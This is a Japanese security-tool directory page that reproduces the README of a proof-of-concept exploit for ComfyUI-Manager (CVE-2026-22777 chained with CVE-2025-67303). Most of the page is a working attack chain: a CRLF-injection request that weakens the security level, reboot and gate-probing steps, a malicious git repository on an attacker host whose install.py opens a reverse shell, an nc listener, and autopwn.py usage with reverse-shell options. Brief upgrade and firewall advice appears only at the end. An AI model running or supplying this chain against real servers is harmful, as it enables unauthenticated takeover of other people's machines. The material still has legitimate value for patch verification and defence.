Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-22777 — ComfyUI-ManagerのconfigエンドポイントにおけるCRLFインジェクションと任意のgitインストールを連鎖させ、未認証のリモートコード実行を実現する概念実証エクスプロイト。 | Kitploit
ツール/GitHubGitHub/si13nttt/cve-2026-22777
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発
GitHubsi13nttt/cve-2026-22777

CVE-2026-22777

ComfyUI-ManagerのconfigエンドポイントにおけるCRLFインジェクションと任意のgitインストールを連鎖させ、未認証のリモートコード実行を実現する概念実証エクスプロイト。

リポジトリを見る
44日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-22777 — ComfyUI-Manager CRLFインジェクション -> RCE (CVE-2025-67303との連鎖)

深刻度: クリティカル (CVSS 9.8) 影響を受けるバージョン: ComfyUI-Manager < 3.39.2 および 4.0.0 - 4.0.4 修正済み: ComfyUI-Manager 3.39.2 / 4.0.5 連鎖する脆弱性: CVE-2025-67303 (任意のGitインストール -> コード実行)


仕組み

ComfyUI-Managerは /api/manager/db_mode エンドポイントを公開しており、value クエリパラメータを受け取り、Pythonの configparser を使ってそれを直接 config.ini に書き込みます。

この脆弱性は ベアキャリッジリターンインジェクション (\r / %0D) です:

  • 書き込み時: configparser は値をそのままシリアライズします — \r はファイルにそのまま保存されます。
  • 読み込み時: Pythonのユニバーサル改行モードはベア \r を改行文字として扱い、1つの値を2つの別々のINIディレクティブに分割します。
  • 最後のキーが優先: strict=False (ComfyUI-Managerのデフォルト) の configparser は重複キーを受け入れ、最後のものを使用します。インジェクトされた security_level = weak が正規の値を上書きします。

再起動後、偽造された設定が有効になり、/api/customnode/install/git_url (CVE-2025-67303) の認証ゲートが無効化されます。このエンドポイントは任意のgitリポジトリをクローンし、その中の install.py をサブプロセスとして即座に実行します — これにより、未認証の攻撃者が完全なコード実行を達成できます。


攻撃チェーン

Step 1 — configエンドポイントにベアCRをインジェクト
  GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak

  書き込み後のディスク上のconfig.ini:
    db_mode = cache\r
    security_level = weak   <- %0D経由でインジェクト

Step 2 — Managerを再起動して偽造設定を再読み込み
  GET /api/manager/reboot

  Managerがconfig.iniを読み戻す; ユニバーサル改行が値を分割;
  最後のキーが優先 -> security_level = weak

Step 3 — ゲートを検証 (403が400に変わるまでポーリング)
  POST /api/customnode/install/git_url  body: http://127.0.0.1/probe.git
  403 = ゲートはまだ閉じている
  400 = ゲートが開いた、security_level=weakが確認された

Step 4 — 悪意のあるgitリポジトリからのインストールをトリガー (CVE-2025-67303)
  POST /api/customnode/install/git_url
  body: http://ATTACKER:9099/alg-upscaler.git

  Managerの動作:
    git clone http://ATTACKER:9099/alg-upscaler.git
    python install.py   <- ここでリバースシェルが実行される

ファイル

ファイル目的
setup_evil_repo.sh悪意のあるgitリポジトリを構築し、HTTP経由で配信する
exploit_ad15.shチェーン全体を実行: CRLFインジェクト -> 再起動 -> 検証 -> トリガー
autopwn.pyPythonオールインワン代替 (リポジトリ構築 + チェーン全体実行)

特定

Step 1 — バージョンフィンガープリント

curl -s http://TARGET:8188/api/manager/version
# 脆弱:  "3.39.1"  /  "4.0.3"
# 修正済: "3.39.2"  /  "4.0.5"

Step 2 — CRLFエンドポイントが値を受け入れることを確認

curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> エンドポイントが存在し、書き込み可能

Step 3 — インストールゲートをプローブ

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://TARGET:8188/api/customnode/install/git_url \
  -d "http://127.0.0.1/probe.git"
# 403 -> ゲート閉 (デフォルト設定、ターゲットはインジェクト可能)
# 400 -> ゲートはすでに開いている (Phase 1をスキップ)

エクスプロイト出力の説明

============================================================
  CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
  Target      : http://192.168.1.10:8188
  Attacker    : 10.10.14.1:4444
  Evil repo   : http://10.10.14.1:9099/alg-upscaler.git

[*] Phase 0: Version fingerprint
    ComfyUI-Manager version: "3.39.1"        <- 脆弱

[*] Phase 1: CRLF inject -> security_level = weak
[+] Injection sent (HTTP 200)
    config.ini now contains:
      db_mode = cache\r
      security_level = weak  <- ベアCR経由でインジェクト

[*] Phase 2: Trigger reboot
[+] Reboot request sent -- waiting 30s for Manager to restart...

[*] Phase 3: Verify security gate
    Attempt 1: HTTP 403                      <- まだ再起動中
    Attempt 2: HTTP 403
    Attempt 3: HTTP 400                      <- ゲート開
[+] Gate OPEN -- security_level=weak is active

[*] Phase 4: Checking evil git repo is reachable
[+] Evil repo reachable (HTTP 200)

[*] Phase 5: Triggering git install (CVE-2025-67303)
    ComfyUI-Manager will:
      1. git clone http://10.10.14.1:9099/alg-upscaler.git
      2. cd into cloned dir
      3. python install.py  <- ここでリバースシェルが実行される

Phase 5のcurlはハングします — リバースシェルは nc -lvnp 4444 に到達します。


Vulhub PoCとの違い

1. ペイロード

Vulhub PoCこのPoC
install.pytouch /tmp/success (実行の証明のみ)攻撃者へのPythonリバースシェル
結果インタラクティブシェルなし完全なインタラクティブシェル

2. リポジトリ管理

Vulhub PoCこのPoC
言語単一のPythonファイルBash、2つの別々のスクリプト
クリーンアップtempfile.TemporaryDirectory (Ctrl+Cで自動削除)手動 (ディスクに残る)
リポジトリ名ランダム (例: evil-node-a1b2c3)固定: alg-upscaler

3. チェーンのカバレッジ

Vulhub PoCこのPoC
CVE-2026-22777 (CRLFインジェクト)含まれないexploit_ad15.sh Phase 1に含まれる
再起動 + ゲート検証含まれない30秒待機して403->400をポーリング
インストールのトリガー手動curlPhase 5で自動化

使用方法

Step 1 — 悪意のあるリポジトリとリスナーのセットアップ (2つのターミナル)

# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — build and serve evil repo
bash setup_evil_repo.sh 10.10.14.1 4444

Step 2 — エクスプロイトチェーン全体を実行

# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444

Phase 5の後、Terminal 1にシェルが到達します。

代替 — Pythonオールインワン

# Blind command
python3 autopwn.py http://192.168.1.10:8188 --command "id"

# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444

修正 / 緩和策

アップグレード (推奨): ComfyUI-Manager 3.39.2 または 4.0.5+。 パッチは、クエリパラメータを config.ini に書き込む前に \r と \n を除去します。

ネットワーク緩和策 (即時のパッチ適用が不可能な場合):

  • ファイアウォールでポート 8188 への外部アクセスをブロックする — ComfyUIは公開を想定して設計されていません。
  • /api/manager/* および /api/customnode/* の前に認証付きリバースプロキシを配置する。
  • config.ini を読み取り専用にする: chmod 444 config.ini。

参考文献

  • https://github.com/Comfy-Org/ComfyUI-Manager
  • https://www.cve.org/CVERecord?id=CVE-2025-67303
  • https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2025-67303
  • https://docs.python.org/3/library/configparser.html
  • https://cwe.mitre.org/data/definitions/93.html
ツールをダウンロード